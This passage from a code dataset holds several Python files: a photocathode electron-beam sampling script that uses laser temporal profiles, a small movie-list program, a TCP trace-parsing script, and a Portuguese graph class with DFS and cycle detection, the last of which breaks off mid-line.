gauss_sigma, cut_radius):\n # su is samples from a uniform distribution with shape (npts, dim=2)\n # note: stdev in x and in y of output distribution is gauss_sigma*np.sqrt(1 + cut_radius**2/(2 - 2*np.exp(cut_radius**2/2)))\n rs = gauss_sigma * cut_normal_2dradial_from_uniform(su[:,0],cut_radius_nsigma=cut_radius/gauss_sigma)\n phis = 2.*np.pi*su[:,1]\n nd = np.zeros_like(su)\n nd[:,0] = rs * np.cos(phis)\n nd[:,1] = rs * np.sin(phis)\n return nd\n \n# numerically unstable as hell for r0/sigmar >> 15, but by then a normal Gaussian isn't a bad approx\ndef cdf_r_spherical(r,r0,sigmar):\n s = np.shape(r)\n r = np.array(r,ndmin=1)\n cut = r == r0\n cdf_r0 = ((-2 + np.exp(-r0**2/(2*sigmar**2)))*r0*sigmar**2 + np.sqrt(np.pi/2)*sigmar*(r0**2 + sigmar**2)* erf(r0/(np.sqrt(2)*sigmar)))/((r0*sigmar**2)/np.exp(r0**2/(2*sigmar**2)) + np.sqrt(np.pi/2)*sigmar*(r0**2 + sigmar**2)*(1 + erf(r0/(np.sqrt(2)*sigmar))))\n cdf = (-(((-(np.exp(r**2/(2*sigmar**2))*r0) + np.exp((r*r0)/sigmar**2)*(r + r0))*sigmar**2)/ np.exp((r**2 + r0**2)/(2*sigmar**2))) + (np.sqrt(np.pi/2)*(r - r0)*sigmar*(r0**2 + sigmar**2)* erf(np.sqrt((r - r0)**2)/(np.sqrt(2)*sigmar)))/np.sqrt((r - r0)**2) + np.sqrt(np.pi/2)*sigmar*(r0**2 + sigmar**2)*erf(r0/(np.sqrt(2)*sigmar))) / ((r0*sigmar**2)/np.exp(r0**2/(2*sigmar**2)) + np.sqrt(np.pi/2)*sigmar*(r0**2 + sigmar**2)* (1 + erf(r0/(np.sqrt(2)*sigmar))))\n cdf[cut] = cdf_r0\n cdf = np.reshape(cdf, s)\n \n return cdf\n \ndef invcdf_r_spherical(su, r0, sigmar, rmax=None, steps=1001):\n # su is samples from a uniform distribution with shape (npts, dim=1)\n if rmax is None:\n rmax = r0 + 7. * sigmar\n try:\n npts, dim = np.shape(su)\n if dim > 1:\n print('WARNING: passing too many dimensions!')\n su = su[:,0]\n except:\n pass\n # generate the cdf for inversion\n #[r,cdf] = np.transpose([[r,-((np.sqrt(2./np.pi)*r)/np.exp(r**2/2.)) + erf(r/np.sqrt(2))] for r in np.linspace(0,rmax,steps)])\n fallback = False; numstablethresh = 15\n if np.abs(r0/sigmar) < numstablethresh:\n [r,cdf] = np.transpose([[r,cdf_r_spherical(nld(r),nld(r0),nld(sigmar))] for r in np.linspace(0,rmax,steps)])\n if np.any(np.isnan(cdf)):\n fallback = True\n else:\n su[su > cdf[-2]] = cdf[-2] # map the rest to rmax to avoid extrapolation\n rs = np.interp(su,cdf,r)\n if np.abs(r0/sigmar) >= numstablethresh or fallback:\n rs = normal_from_uniform(su) * sigmar + r0\n \n #rs = np.reshape(rs,(len(su),1))\n \n return rs\n \ndef invcdf_theta_spherical(su,theta_range=[0,np.pi/2]):\n # su is samples from a uniform distribution with shape (npts, dim=1)\n # key points\n [c0,c1] = (1-np.cos(theta_range))/2\n thetas = 2 * np.arcsin(np.sqrt(np.min([c0,c1])+np.abs(c0-c1)*su))\n \n return thetas\n \ndef zcut_spherical_shell_normal_radial_from_uniform_3d(su, rmean, rstd, phi_range=[0,2*np.pi], theta_range=[0,np.pi/2]):\n # su is samples from a uniform distribution with shape (npts, dim=3)\n # rmean, rstd, are the radial properties\n # phi_range is the range of azimuthal angles to (uniformly) cover\n # theta_range is the range of polar angles to (uniformly) cover\n \n rs = invcdf_r_spherical(su[:,0], rmean, rstd)\n phis = np.abs(np.diff(phi_range))[0]*su[:,1]+np.min(phi_range)\n thetas = invcdf_theta_spherical(su[:,2],theta_range=theta_range)\n nd = np.zeros_like(su)\n nd[:,0] = rs * np.sin(thetas) * np.cos(phis)\n nd[:,1] = rs * np.sin(thetas) * np.sin(phis)\n nd[:,2] = rs * np.cos(thetas)\n return nd\n \ndef interpolate_profile(profilefile='gaus_flat_triangle.npy', tay13scalefactor=0, nradius=3):\n # profilefile path to profile data to interpolate\n # tay13scalefactor should be between 0 and 1.25; 0 => Gaussian & 1 => flat-top\n # nradius number of grid points away to grab data for interpolation\n \n sf = tay13scalefactor # shorthand\n \n if nradius < 1:\n print('Ah! Ah! Aah! You shouldn\\'t interpolate without points.')\n nradius = 3\n \n # load simulated profile data\n #ps = np.genfromtxt(profilefile, delimiter=',')[1:] # first row = column descriptions\n ps = np.load(profilefile)\n \n # find the unique coords and bounds on inputs\n unique_ts = np.unique(ps[:,1])\n unique_fs = np.unique(ps[:,0])\n minf = min(unique_fs); maxf = max(unique_fs)\n\n # keep within bounds\n sf = min(sf, maxf); sf = max(sf, minf)\n\n # select nearby tay13scalefactors\n sf_iloc = np.interp(sf, unique_fs, np.arange(len(unique_fs)))\n cut = np.abs(np.arange(len(unique_fs))-sf_iloc) < nradius\n \n # select profiles for these nearby points\n bigcut = np.sum([ps[:,0] == f for f in unique_fs[cut]],axis=0) == 1\n pss = ps[bigcut]\n \n # interpolate on the selected profiles\n myinterp = []\n for t in unique_ts:\n cut = pss[:,1] == t\n myinterp += [[t,np.interp(sf,pss[cut,0],pss[cut,2])]]\n myinterp = np.array(myinterp,ndmin=2)\n \n return myinterp\n \ndef quartic_gaussian(x, xfwhm):\n return 2.**(-(2.*x/xfwhm)**4)\n\ndef filtered_green_profile(tay13scalefactor=1., filter_bw_fwhm_nm=1., filter_bg_passfraction=0., power_profile_file='gaus_flat_triangle.npy', plotQ=False):\n # tay13scalefactor should be a real number in range [-3.,3.]:\n # NOTE: the sign of tay13scalefactor flips the origin of time\n # 0 => Gaussian; 1 => flat-top; 2 => triangle; 3 => smoother triangle facing opposite direction\n # filter_bw_fwhm_nm [0.,1e3] is the fwhm width of the band pass filter; 1 should smooth most ripples; 10 should pass everything\n # filter_bg_passfraction is the fraction of power [0.,1.] to pass independent of frequency; default is 0, but 1 is equivalent to no bandpass filter\n\n # validate range of t_sign\n t_sign = 1.*np.sign(tay13scalefactor);\n if np.abs(t_sign) < 1.:\n t_sign = 1.\n \n # load temporal profile (assuming current = constant * power)\n pvst = interpolate_profile(profilefile=power_profile_file, tay13scalefactor=np.abs(tay13scalefactor))\n pvst[:,0] *= t_sign # reverse time\n t = pvst[:,0]*1e-12; dt = np.abs(t[1]-t[0])# seconds\n p = pvst[:,1] # power (arb. units)\n \n lambda0 = 515.e-9 # green wavelength in m (freq. doubled 1030 nm)\n f0 = 2.998e8/lambda0 # green frequency in Hz (doubled 1030 nm)\n Df=1/dt # width of frequency window\n df=1/(max(t)-min(t)) # delta frequency steps\n Df=df*(len(t)-1) # once again, frequency window\n dlambda_nm = 2.998e8/f0**2*df*1e9 # delta wavelength steps in picometers\n fft_filter_bw = filter_bw_fwhm_nm / dlambda_nm # delta frequency steps in units of df\n \n fft = np.fft.fft(p**0.5) # fft of the field strength (assumes slowly varying phase)\n \n fft_index = np.fft.ifftshift(np.arange(len(fft))-len(fft)/2.+0.5) # zero at peak of field\n bgfrac = np.max([0,np.min([1.,filter_bg_passfraction])]);\n if not (bgfrac - filter_bg_passfraction)==0:\n print('WARNING: filter_bg_passfraction =', filter_bg_passfraction, 'is not valid so changing to closest valid value in range [0,1]:', bgfrac)\n fft_filter = (1.-bgfrac)*quartic_gaussian(fft_index,fft_filter_bw) + bgfrac\n if plotQ:\n import matplotlib.pyplot as plt\n lambdas = 1e9*lambda0+np.fft.fftshift(fft_index)*dlambda_nm\n absfft = np.fft.fftshift(np.abs(fft)); absfft /= np.max(absfft)\n shiftfilt = np.fft.fftshift(fft_filter)\n plt.plot(lambdas, absfft, label='input')\n plt.plot(lambdas, absfft*shiftfilt, label='output'); plt.xlabel('wave length (nm)')\n plt.plot(lambdas, shiftfilt, label='filter')\n plt.legend(); plt.show(); plt.close()\n \n p = np.abs(np.fft.ifft(fft * fft_filter))**2\n if plotQ:\n plt.plot(pvst[:,0],pvst[:,1], label='input')\n plt.plot(pvst[:,0],p, label='output'); plt.xlabel('time (ps)'); \n plt.legend(); plt.show(); plt.close()\n print('Fraction of power filtered:',np.sum(p)/np.sum(pvst[:,1]) - 1.);\n pvst[:,1] = p\n \n return pvst\n\n# these numbers are all SI base units\ndef make_beam(npart=int(5e4), tay13scalefactor=1., filter_bw_fwhm_nm=1., filter_bg_passfraction=0., t_origin_ps=0., power_profile_file='gaus_flat_triangle.npy', sigmax=300e-6, cut_radius_x=450e-6, pr_eV_mean=4.*1240./1030.-2.86, pr_eV_rms=25.7e-3, plotQ=False):\n # tay13scalefactor should be a real number in range [-3.,3.]:\n # NOTE: the sign of tay13scalefactor flips the origin of time\n # 0 => Gaussian; 1 => flat-top; 2 => triangle; 3 => smoother triangle facing opposite direction\n # filter_bw_fwhm_nm [0.,1e3] is the fwhm width of the band pass filter; 1 should smooth most ripples; 10 should pass everything\n # filter_bg_passfraction is the fraction of power [0.,1.] to pass independent of frequency; default is 0, but 1 is equivalent to no bandpass filter\n # t_origin_ps is the time in ps to shift the beam by (default is 0.)\n \n # pr_eV_mean is energy above ionization in eV: 4.*1240./1030. eV is enery of UV and 2.86 eV is the workfunction of the Cesium Telluride\n # pr_eV_rms is the standard deviation of the radial momenta in eV: 25.7 meV is kT at room temp, although this should probably be dominated by the QE(photon energy) curve response?\n # interestingly, the QE should go down with time as we hit the cathode with UV (if intense enough)\n # said another way, the work function increases with UV exposure => excess momentum and emittance should decrease with increased operation\n # https://indico.classe.cornell.edu/event/15/contributions/394/attachments/290/364/harkayYusof-p3-2012-final.pdf\n \n # NOTE: we'll lay out the beam as a numpy array with shape (npart, 6)\n # where the dimensions are ordered as x, y, time, px, py, pz\n # ASTRA takes z as zero\n\n # create beam\n #beam = np.random.rand(npart,6)\n beam = sequences.create_hammersley_samples(order=npart, dim=6).T\n \n # figure out spread in angles \n\n # make the non-time profiles\n beam[:,:2] = cut_normal_round_from_uniform_2d(beam[:,:2], sigmax, cut_radius_x)\n beam[:,3:] = zcut_spherical_shell_normal_radial_from_uniform_3d(beam[:,3:], pr_eV_mean, pr_eV_rms, phi_range=[0,2*np.pi], theta_range=[0,np.pi/2])\n \n # load temporal profile (assuming current = constant * power)\n #pvst = interpolate_profile(profilefile=power_profile_file, tay13scalefactor=tay13scalefactor)\n pvst = filtered_green_profile(tay13scalefactor=tay13scalefactor, filter_bw_fwhm_nm=filter_bw_fwhm_nm, filter_bg_passfraction=filter_bg_passfraction, power_profile_file=power_profile_file, plotQ=plotQ)\n #d=pd.read_csv('dist100.part',delim_whitespace=True) # reminder for handling variable space delimiters\n t = (pvst[:,0]-t_origin_ps)*1e-12; dt = np.abs(t[1]-t[0])# seconds\n p = pvst[:,1]**2 # power (arb. units) --- loaded power is green; simulation shows that SHG in the next crystal (green -> UV) just squares the input power profile\n\n # apply temporal profile\n beam[:,2] = icdf_transform_1d(beam[:,2],t,p)\n\n # how does the temporal profile compare to the input distribution?\n if plotQ:\n \n import matplotlib.pyplot as plt\n \n # temporal distribution\n binfills, binedges, patches = plt.hist(beam[:,2],500); plt.close()\n arearatio = np.sum(binfills)*np.abs(binedges[1]-binedges[0])/np.sum(p)/dt\n plt.plot(t, p*arearatio, linewidth=0.8); \n plt.scatter(t, p*arearatio,s=0.05,c='Red');\n plt.hist(beam[:,2],500);\n plt.xlabel('time (s)'); plt.ylabel('number of particles')\n plt.show(); plt.close()\n \n # transverse position distribution\n cnames = ['x (um)','y (um)','time (s)','px (eV/c)','py (eV/c)','pz (eV/c)']\n unitscales = [1e6,1e6,1,1,1,1]\n for p in range(1):\n plt.hist2d(beam[:,2*p]*unitscales[2*p],beam[:,2*p+1]*unitscales[2*p+1],100)\n plt.xlabel('plane '+str(2*p)+': '+cnames[2*p]); plt.ylabel('plane '+str(2*p+1)+': '+cnames[2*p+1])\n plt.show(); plt.close()\n \n plt.hist(beam[:,0]*unitscales[0],100,label='x')\n plt.hist(beam[:,1]*unitscales[1],100,label='y')\n plt.xlabel('position (m)'); plt.legend(); plt.show()\n \n import matplotlib as mpl\n from mpl_toolkits.mplot3d import Axes3D\n \n # momenta distribution\n fig = plt.figure()\n ax = fig.gca(projection='3d')\n ax = plt.axes(projection='3d')\n nplotmax3d = 50000\n if npart > nplotmax3d:\n print('INFO: truncating number of particles plot to',nplotmax3d,'for sanity.')\n ax.scatter(beam[:nplotmax3d,3], beam[:nplotmax3d,4], beam[:nplotmax3d,5], c=beam[:nplotmax3d,5], alpha=0.33, cmap='viridis', linewidth=0.5);\n ax.set_xlabel('$p_x$ (eV/c)');ax.set_ylabel('$p_y$ (eV/c)');ax.set_zlabel('$p_z$ (eV/c)');plt.show()\n \n plt.hist(np.sqrt(beam[:nplotmax3d,3]**2 + beam[:nplotmax3d,4]**2 + beam[:nplotmax3d,5]**2), 101); \n plt.xlabel('radial momenta (eV/c)'); plt.show()\n\n return beam\n","sub_path":"realdist_from_laser_params.py","file_name":"realdist_from_laser_params.py","file_ext":"py","file_size_in_byte":14628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"418700382","text":"class movie:\n\n def __init__(self,title,hero,heroine):\n self.title=title\n self.hero=hero\n self.heroine=heroine\n\n def info(self):\n print('Name of the movie:',self.title)\n print('Name of the hero:',self.hero)\n print('Name of the heroine:',self.heroine)\n\nmovie_list=[]\n\nwhile True:\n title=input('Enter the name of the movie:')\n hero=input('Enter the name of the hero:')\n heroine=input('Enter the name of the heroine:')\n m=movie(title,hero,heroine)\n movie_list.append(m)\n print('Movie is appended successfully',end='\\n')\n option=input('Enter more movie details (Yes/No):')\n if option.lower()=='no':\n break\n\nfor movies in movie_list:\n movies.info()\n print('')\n","sub_path":"movies_class.py","file_name":"movies_class.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"297825350","text":"import pandas as pd\nimport numpy as np\nimport os\n\nMEGA = 1000000\nGIGA = 1000000000\nsave_folder = '/home/yinwenpei/raw_train_traces/train_traces/'\ngap_time_stamps = 5 # > 5 seconds is the different traces\nmin_len_traces = 30 # trace_lenght > 30 as a trace\n\nRAW_TRACES_FOLDER = '/home/yinwenpei/raw_train_traces/'\nfiles_path = os.listdir(RAW_TRACES_FOLDER)\nfor files in files_path:\n # print(files)\n file_path = RAW_TRACES_FOLDER + files\n try:\n df = pd.read_csv(file_path)\n except:\n print(files)\n continue\n # time_stamps\n try:\n time_stamps = np.array(df['time (ns GMT)'])\n except:\n print(files)\n continue\n\n time_stamps = time_stamps / GIGA # convert ns to seconds\n time_stamps = time_stamps - time_stamps[0] # start from 0\n # compute time_stamps cha_zhi\n dif_time_stamps = time_stamps[1:] - time_stamps[:-1]\n # gap_arg == index of jian ge\n gap_index = np.where(dif_time_stamps > gap_time_stamps)[0]\n # length of traces\n len_traces = gap_index[1:] - gap_index[:-1]\n index_traces = np.where(len_traces > min_len_traces)[0]\n low_size = gap_index[index_traces[0]] + 1\n high_size = gap_index[index_traces[0]+1]\n time_stamps_trace1 = time_stamps[gap_index[index_traces[0]]+1:gap_index[index_traces[0]+1]]\n time_stamps_trace1 = time_stamps_trace1 - time_stamps_trace1[0]\n # deliverate\n throughout = np.array(df['delivery_rate'])\n throughout = throughout * 8 / MEGA # convert bytes/s to Mbit /s\n throughout_trace1 = throughout[low_size:high_size]\n # cwnd\n cwnd = np.array(df['cwnd'])\n cwnd_trace1 = cwnd[low_size:high_size]\n # in_flight\n in_flight = np.array(df['in_flight'])\n in_flight_trace1 = in_flight[low_size:high_size]\n # rtt\n rtt = np.array(df['rtt'])\n rtt = rtt / MEGA # convert us to seconds\n rtt_trace1 = rtt[low_size:high_size]\n # min_rtt\n min_rtt = np.array(df['min_rtt'])\n min_rtt = min_rtt / MEGA # convert us to seconds\n min_rtt_trace1 = min_rtt[low_size:high_size]\n\n # ensure the length equivalent\n assert len(throughout_trace1) == len(time_stamps_trace1)\n assert len(time_stamps_trace1) == len(cwnd_trace1)\n assert len(time_stamps_trace1) == len(in_flight_trace1)\n assert len(time_stamps_trace1) == len(rtt_trace1)\n assert len(time_stamps_trace1) == len(min_rtt_trace1)\n # write\n with open(save_folder + files[-17:-7]+'.log','w') as f:\n for i in range(len(time_stamps_trace1)):\n f.write(str(time_stamps_trace1[i]) + '\\t' +\n str(throughout_trace1[i]) + '\\t' +\n str(cwnd_trace1[i]) + '\\t' +\n str(in_flight_trace1[i]) + '\\t' +\n str(rtt_trace1[i]) + '\\t' +\n str(min_rtt_trace1[i]) + '\\n')\n # print(i)\n if(i > 50):\n break\n\n\n\n\n","sub_path":"generate_traces.py","file_name":"generate_traces.py","file_ext":"py","file_size_in_byte":2871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"361828579","text":"class VerticeInvalidoException(Exception):\r\n pass\r\n\r\nclass ArestaInvalidaException(Exception):\r\n pass\r\n\r\nclass Grafo:\r\n\r\n QTDE_MAX_SEPARADOR = 1\r\n SEPARADOR_ARESTA = '-'\r\n\r\n def __init__(self, N=None, A=None):\r\n '''\r\n Constrói um objeto do tipo Grafo. Se nenhum parâmetro for passado, cria um Grafo vazio.\r\n Se houver alguma aresta ou algum vértice inválido, uma exceção é lançada.\r\n :param N: Uma lista dos vértices (ou nodos) do grafo.\r\n :param V: Uma dicionário que guarda as arestas do grafo. A chave representa o nome da aresta e o valor é uma string que contém dois vértices separados por um traço.\r\n '''\r\n\r\n if N != None:\r\n for v in N:\r\n if not(Grafo.verticeValido(v)):\r\n raise VerticeInvalidoException('O vértice ' + v + ' é inválido')\r\n self.N = N\r\n else:\r\n self.N = list()\r\n\r\n\r\n if A != None:\r\n for a in A:\r\n if not(self.arestaValida(A[a])):\r\n raise ArestaInvalidaException('A aresta ' + A[a] + ' é inválida')\r\n self.A = A\r\n else:\r\n self.A = dict()\r\n\r\n def arestaValida(self, aresta=''):\r\n '''\r\n Verifica se uma aresta passada como parâmetro está dentro do padrão estabelecido.\r\n Uma aresta é representada por um string com o formato a-b, onde:\r\n a é um substring de aresta que é o nome de um vértice adjacente à aresta.\r\n - é um caractere separador. Uma aresta só pode ter um único caractere como esse.\r\n b é um substring de aresta que é o nome do outro vértice adjacente à aresta.\r\n Além disso, uma aresta só é válida se conectar dois vértices existentes no grafo.\r\n :param aresta: A aresta que se quer verificar se está no formato correto.\r\n :return: Um valor booleano que indica se a aresta está no formato correto.\r\n '''\r\n\r\n # Não pode haver mais de um caractere separador\r\n if aresta.count(Grafo.SEPARADOR_ARESTA) != Grafo.QTDE_MAX_SEPARADOR:\r\n return False\r\n\r\n # Índice do elemento separador\r\n i_traco = aresta.index(Grafo.SEPARADOR_ARESTA)\r\n\r\n # O caractere separador não pode ser o primeiro ou o último caractere da aresta\r\n if i_traco == 0 or aresta[-1] == Grafo.SEPARADOR_ARESTA:\r\n return False\r\n\r\n # Verifica se as arestas antes de depois do elemento separador existem no Grafo\r\n if not(self.existeVertice(aresta[:i_traco])) or not(self.existeVertice(aresta[i_traco+1:])):\r\n return False\r\n\r\n return True\r\n\r\n @classmethod\r\n def verticeValido(self, vertice=''):\r\n '''\r\n Verifica se um vértice passado como parâmetro está dentro do padrão estabelecido.\r\n Um vértice é um string qualquer que não pode ser vazio e nem conter o caractere separador.\r\n :param vertice: Um string que representa o vértice a ser analisado.\r\n :return: Um valor booleano que indica se o vértice está no formato correto.\r\n '''\r\n return vertice != '' and vertice.count(Grafo.SEPARADOR_ARESTA) == 0\r\n\r\n def existeVertice(self, vertice=''):\r\n '''\r\n Verifica se um vértice passado como parâmetro pertence ao grafo.\r\n :param vertice: O vértice que deve ser verificado.\r\n :return: Um valor booleano que indica se o vértice existe no grafo.\r\n '''\r\n return Grafo.verticeValido(vertice) and self.N.count(vertice) > 0\r\n\r\n def existeAresta(self, aresta=''):\r\n '''\r\n Verifica se uma aresta passada como parâmetro pertence ao grafo.\r\n :param aresta: A aresta a ser verificada\r\n :return: Um valor booleano que indica se a aresta existe no grafo.\r\n '''\r\n existe = False\r\n if Grafo.arestaValida(self, aresta):\r\n for k in self.A:\r\n if aresta == self.A[k]:\r\n existe = True\r\n\r\n return existe\r\n\r\n def adicionaVertice(self, v):\r\n '''\r\n Adiciona um vértice no Grafo caso o vértice seja válido e não exista outro vértice com o mesmo nome\r\n :param v: O vértice a ser adicionado\r\n :raises: VerticeInvalidoException se o vértice passado como parâmetro não puder ser adicionado\r\n '''\r\n if self.verticeValido(v) and not self.existeVertice(v):\r\n self.N.append(v)\r\n else:\r\n raise VerticeInvalidoException('O vértice ' + v + ' é inválido')\r\n\r\n def adicionaAresta(self, nome, a):\r\n '''\r\n Adiciona uma aresta no Grafo caso a aresta seja válida e não exista outra aresta com o mesmo nome\r\n :param v: A aresta a ser adicionada\r\n :raises: ArestaInvalidaException se a aresta passada como parâmetro não puder ser adicionada\r\n '''\r\n if self.arestaValida(a):\r\n self.A[nome] = a\r\n else:\r\n ArestaInvalidaException('A aresta ' + self.A[a] + ' é inválida')\r\n\r\n def vertices_nao_adjacentes(self):\r\n '''\r\n Verifica se existem vertices que nao tem aresta que os ligam\r\n :return: lista com todos os vertices nao adjacentes\r\n '''\r\n lista_arestas = self.A.values()\r\n nova_lista = []\r\n for i in self.N:\r\n for j in self.N:\r\n aresta = '{}{}{}'.format(i, self.SEPARADOR_ARESTA, j)\r\n aresta_ = '{}{}{}'.format(j, self.SEPARADOR_ARESTA, i)\r\n if aresta not in lista_arestas and aresta_ not in lista_arestas:\r\n nova_lista.append(aresta)\r\n return nova_lista\r\n\r\n def ha_laco(self):\r\n '''\r\n Faz a verificacao se existe laco, ou seja, uma aresta onde ambos os vertices sao os mesmos\r\n :return: Um valor booleano que indica se existe ou nao laco\r\n '''\r\n lista_arestas = self.A.values()\r\n\r\n for i in lista_arestas:\r\n v1, v2 = i.split(self.SEPARADOR_ARESTA)\r\n if v1 == v2:\r\n return True\r\n return False\r\n\r\n def grau(self, vertice=''):\r\n '''\r\n Percorre a lista de vertices e e conta em quantas arestas o vertice aparece\r\n :param vertice:\r\n :return: Um valor inteiro que indica a quantidade de arestas que incidem no vertice\r\n '''\r\n if self.existeVertice(vertice):\r\n\r\n lista_arestas = self.A.values()\r\n soma = 0\r\n\r\n for i in lista_arestas:\r\n v1, v2 = i.split(self.SEPARADOR_ARESTA)\r\n if v1 == vertice or v2 == vertice:\r\n soma += 1\r\n return soma\r\n return \"Vértice não existe no grafo\"\r\n\r\n\r\n def arestas_sobre_vertice(self, vertice=''):\r\n '''\r\n percorre todas as arestas e coloca numa lista os rotulos em que isso for verdadeiro\r\n :param vertice:\r\n :return: lista com os rotulos das arestas em que o vertice aparece\r\n '''\r\n if self.existeVertice(vertice):\r\n\r\n arestas = self.A\r\n lista = []\r\n\r\n for i in arestas:\r\n v1, v2 = arestas[i].split(self.SEPARADOR_ARESTA)\r\n if v1 == vertice or v2 == vertice:\r\n lista.append(i)\r\n return lista\r\n return \"Vértice não existe no grafo\"\r\n\r\n def ha_paralelas(self):\r\n '''\r\n Verifica se existem duas arestas formadas pelos mesmos vertices\r\n :return: Valor booleano que indica se ha ou nao paralelismo\r\n '''\r\n arestas = self.A.values()\r\n lista = []\r\n\r\n for aresta in arestas:\r\n v1, v2 = aresta.split(self.SEPARADOR_ARESTA)\r\n aresta_ = '{}{}{}'.format(v2, self.SEPARADOR_ARESTA, v1)\r\n if aresta not in lista and aresta_ not in lista:\r\n lista.append(aresta)\r\n else:\r\n return True\r\n return False\r\n\r\n def eh_completo(self):\r\n '''\r\n Primeiro analisa os casos especiais quando existe so 1 ou 2 vertices no grafos, apos isso\r\n o algoritimo trata o grafo como uma figura plana, que deve ter todas as diagonais e ignora\r\n lacos e paralelas\r\n :return: Valor booleano que indica se o grafo eh ou nao completo\r\n '''\r\n qntd_vertices = len(self.N)\r\n arestas = self.A.values()\r\n\r\n if qntd_vertices == 1:\r\n return True\r\n elif qntd_vertices == 2:\r\n for aresta in arestas:\r\n v1, v2 = aresta.split(self.SEPARADOR_ARESTA)\r\n if v1 != v2:\r\n return True\r\n elif qntd_vertices >= 3:\r\n qntd_vertices += (qntd_vertices*(qntd_vertices-3))/2\r\n lista = []\r\n\r\n for aresta in arestas:\r\n v1, v2 = aresta.split(self.SEPARADOR_ARESTA)\r\n aresta_ = '{}{}{}'.format(v2, self.SEPARADOR_ARESTA, v1)\r\n\r\n if (aresta not in lista and aresta_ not in lista) and (aresta != aresta_):\r\n lista.append(aresta)\r\n\r\n if len(lista) == qntd_vertices:\r\n return True\r\n return False\r\n\r\n\r\n def DFS(self, vertice=''):\r\n \"\"\"\r\n A funcao DFS vai receber o vertice criar uma lista vazia e passar como parametro para outra função essa recursiva\r\n que ira varrer o grafo inteiro em busca da arvore DNS\r\n :param vertice: Vertice de onde a busca pela árvore DNS vai comecar\r\n :return:Lista de vertices e arestas dispostas em ordem de acesso\r\n \"\"\"\r\n lista = list()\r\n if self.verticeValido(vertice):\r\n self.DFS_recursiva(vertice, lista)\r\n return lista\r\n\r\n def DFS_recursiva(self, vertice='',lista=[]):\r\n '''\r\n A funcao DFS vai receber o vertice criar uma lista vazia e passar como parametro para outra função essa recursiva\r\n que ira varrer o grafo inteiro em busca da arvore DFS\r\n :param vertice: Vertice de onde a busca pela árvore DFS vai comecar\r\n :return:Lista de vertices e arestas dispostas em ordem de acesso\r\n '''\r\n lista_arestas_vertice = self.arestas_sobre_vertice(vertice)\r\n lista_arestas = self.A\r\n\r\n if vertice not in lista:\r\n lista.append(vertice)\r\n\r\n for aresta in lista_arestas_vertice:\r\n if aresta not in lista:\r\n\r\n v1, v2 = lista_arestas[aresta].split(self.SEPARADOR_ARESTA)\r\n\r\n if v1 != vertice and v1 not in lista:\r\n lista.append(aresta)\r\n self.DFS_recursiva(v1, lista)\r\n elif v2 != vertice and v2 not in lista:\r\n lista.append(aresta)\r\n self.DFS_recursiva(v2, lista)\r\n\r\n def DFS_modificada(self, vertice=''):\r\n '''\r\n Usa a DFS_recursiva_modificada para criar uma lista onde a repeticao de\r\n dois vertices indica um ciclo\r\n :param vertice: Vertice usado como base para o algoritimo\r\n :return: lista com os ciclos encontrados, porem nao organizada\r\n '''\r\n lista = list()\r\n if self.verticeValido(vertice):\r\n self.DFS_recursiva_modificada(vertice, lista)\r\n return lista\r\n\r\n def DFS_recursiva_modificada(self, vertice='',lista=[]):\r\n '''\r\n Funcao DFS, que continua adicionando vertices mesmo quando eles ja existem\r\n na arvore, mostrando assim na lista os ciclos\r\n :param vertice:\r\n :param lista:\r\n :return:\r\n '''\r\n lista_arestas_vertice = self.arestas_sobre_vertice(vertice)\r\n lista_arestas = self.A\r\n\r\n if vertice not in lista:\r\n lista.append(vertice)\r\n else:\r\n lista.append(vertice)\r\n return None\r\n\r\n for aresta in lista_arestas_vertice:\r\n if aresta not in lista:\r\n v1, v2 = lista_arestas[aresta].split(self.SEPARADOR_ARESTA)\r\n\r\n if v1 != vertice:\r\n lista.append(aresta)\r\n self.DFS_recursiva_modificada(v1, lista)\r\n elif v2 != vertice:\r\n lista.append(aresta)\r\n self.DFS_recursiva_modificada(v2, lista)\r\n\r\n def DFS_ciclo(self):\r\n '''\r\n Usa como cada vertice presente no grafo para criar uma lista com os ciclos,\r\n caso exista ciclo na lista a funcao para de ser executada\r\n :return: lista com um ou mais ciclos\r\n '''\r\n vertices = self.N\r\n\r\n for vertice in vertices:\r\n aux = self.DFS_modificada(vertice)\r\n\r\n for v1 in vertices:\r\n if aux.count(v1) >= 2:\r\n return aux\r\n return list()\r\n\r\n def ha_ciclo(self):\r\n '''\r\n Usa a funcao DFS_ciclo para caso a lista retornada nao esteja vazia,\r\n analisar a posicao dos vertices na lista recorta e primeiro ciclo encontrado\r\n :return: Retorna o primeiro ciclo encontrado caso exista e caso nao exista retorna False\r\n '''\r\n arestas = self.A.values()\r\n vertices = self.N\r\n lista_ciclos = dict()\r\n retorno = list()\r\n\r\n for aresta in arestas:\r\n v1, v2 = aresta.split(self.SEPARADOR_ARESTA)\r\n if v1 == v2:\r\n return [v1, aresta, v2]\r\n\r\n arvore_DFS_ciclo = self.DFS_ciclo()\r\n\r\n if arvore_DFS_ciclo == list():\r\n return False\r\n\r\n for vertice in vertices:\r\n lista_ciclos[vertice] = list()\r\n\r\n for i in range(len(arvore_DFS_ciclo)):\r\n if arvore_DFS_ciclo[i] in vertices:\r\n lista_ciclos[arvore_DFS_ciclo[i]].append(i)\r\n\r\n aux = 999**9 #valor alto para forcar a entrada no if\r\n for i in lista_ciclos:\r\n if len(lista_ciclos[i]) > 1 and lista_ciclos[i][0] < aux:\r\n retorno = arvore_DFS_ciclo[lista_ciclos[i][0]: lista_ciclos[i][1]+1]\r\n return retorno\r\n\r\n def conexo(self):\r\n '''\r\n Aplica o algoritimo para a criancao da arvore DFS e caso algum vertice nao\r\n esteja presente nela, entao quer dizer que foi formada uma floresta\r\n :return: Valor booleano indicando se o grafo eh ou nao conexo\r\n '''\r\n vertices = self.N\r\n arvore_DFS = self.DFS(vertices[0])\r\n\r\n for vertice in vertices:\r\n if vertice not in arvore_DFS:\r\n return False\r\n return True\r\n\r\n def __str__(self):\r\n '''\r\n Fornece uma representação do tipo String do grafo.\r\n O String contém um sequência dos vértices separados por vírgula, seguido de uma sequência das arestas no formato padrão.\r\n :return: Uma string que representa o grafo\r\n '''\r\n grafo_str = ''\r\n\r\n for v in range(len(self.N)):\r\n grafo_str += self.N[v]\r\n if v < (len(self.N) - 1): # Só coloca a vírgula se não for o último vértice\r\n grafo_str += \", \"\r\n\r\n grafo_str += '\\n'\r\n\r\n for i, a in enumerate(self.A):\r\n grafo_str += 